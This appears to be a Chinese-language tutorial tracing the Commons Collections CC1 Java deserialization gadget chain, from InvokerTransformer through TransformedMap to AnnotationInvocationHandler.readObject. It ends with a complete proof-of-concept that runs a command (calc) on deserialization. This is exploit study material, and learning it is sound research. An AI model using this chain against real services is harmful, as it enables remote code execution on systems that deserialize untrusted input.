CC1链对JDK版本有要求,需在8u71之前
Jdk1.8.0.65: https://www.oracle.com/cn/java/technologies/javase/javase8-archive-downloads.html
sun包: https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/af660750b2f4
src\share\classes\sun,放到Jdk下解压的src包内,Idea添加

导入maven依赖(pom.xml)

主要利用方法 Transform()
,看那些类实现了这个类

查找用法,找到调用 transformer 的方法
寻找调用链

InvokerTransformer构造函数控制参数,tranform()
可以执行任意命令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| package Gadget.CC1;
import org.apache.commons.collections.functors.InvokerTransformer; import java.lang.reflect.Method;
public class CC1_1 { public static void main(String[] args) throws Exception {
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(Runtime.getRuntime());
} }
|
进入到 InvokerTransformer类里,查看 Transform 的用法,找 TransformedMap

这里的 valueTransformer 调用了 transformer()
,TransformedMap构造方法可以给他赋值

TransformedMap()
是一个保护方法,decorate()
方法调用了它,就可以赋值了

现在找哪里调用了 checkSetValue()
,这里找到了 setValue()

这个类还是 TransformedMap 的父类

setValue()
在 AbstractInputCheckedMapDecorator 静态嵌套类 MapEntry

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| package Gadget.CC1;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;
import java.lang.annotation.Annotation; import java.util.HashMap; import java.util.Map;
public class CC1_2 { public static void main(String[] args) { InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object,Object> map = new HashMap<>(); map.put("key","vlue"); Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);
for (Map.Entry entry:transformedMap.entrySet()) { entry.setValue(Runtime.getRuntime());
} } }
|
寻找入口类
AnnotationInvocationHandler类下的readObject()

readObject()

后面的 for 正好在遍历 Map,要满足 if 的判断到达 setValue()
,
执行 readObject()
需要获取 AnnotationInvocationHandler 对象,default类型

1 2 3 4 5
| Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annotationInvocationHandlerConstructor = c.getConstructor(Class.class,Map.class); annotationInvocationHandlerConstructor.setAccessible(true); Object o = annotationInvocationHandlerConstructor.newInstance(Target.class,transformedMap);
|
回到前面,Runtime 没有实现 Serializable,所以不能序列化

Class 可以序列化,反射获取

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| Runtime r = Runtime.getRuntime();
Class c = Runtime.class; Method getRuntimeMethod = c.getMethod("getRuntime",null); Runtime r = (Runtime) getRuntimeMethod.invoke(null,null); Method execMethod = c.getMethod("exec",String.class); execMethod.invoke(r,"calc");
Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}).transform(Runtime.class);
Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
|

该类维护了一个Transformer接口类型的数组iTransformers,transform()
先将输入的对象交给iTransformers数组第一个转换器的 transform()
进行修饰,修饰后的结果又作为下一个转化器的要修饰的对象(链式转化器)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| package Gadget.CC1;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Map;
public class CC1_Serial { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[] { new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>(); map.put("value","aaa"); Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class,Map.class); annotationInvocationHandlerConstructor.setAccessible(true); Object o = annotationInvocationHandlerConstructor.newInstance(Override.class,transformedMap);
ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(bos); oos.writeObject(o);
ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray()); ObjectInputStream ois = new ObjectInputStream(bis); ois.readObject();
} }
|
断点走一下 readObject()
的 if 判断
前三行循环获取键值对获取

总览

annotationType = AnnotationType.getInstance(type);
获取 type 成员方法,没有会新建一个AnnotationType

AnnotationInvocationHandler 构造方法内可以给 type 赋值

上面代码,赋值的是 Override,Java的注释类,而 Override 没有参数

换成 Target,然后 map 的 put,进入的键值对的 key 要改成 Target 参数的名,且值不为 null

继续调试,可以执行 setValue()
,继续跟进,发现 checkSetValue(value)
中 value 的值不是构想的Runtime

第二个 if 判断是否对象可以强转,最后的 setValue(value)
的 value 是 new 的 AnnotationTypeMismatchExceptionProxy,固定了,改不了

这里的 transform 无论接受什么,返回值不会改变,都是 iConstant

Gadget chain
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
|
|
Poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
| package Gadget.CC1;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Map;
public class CC1_Transformer { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>(); map.put("value","abc"); Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class,Map.class); annotationInvocationHandlerConstructor.setAccessible(true); Object o = annotationInvocationHandlerConstructor.newInstance(Target.class,transformedMap);
ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(bos); oos.writeObject(o);
ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray()); ObjectInputStream ois = new ObjectInputStream(bis); ois.readObject();
} }
|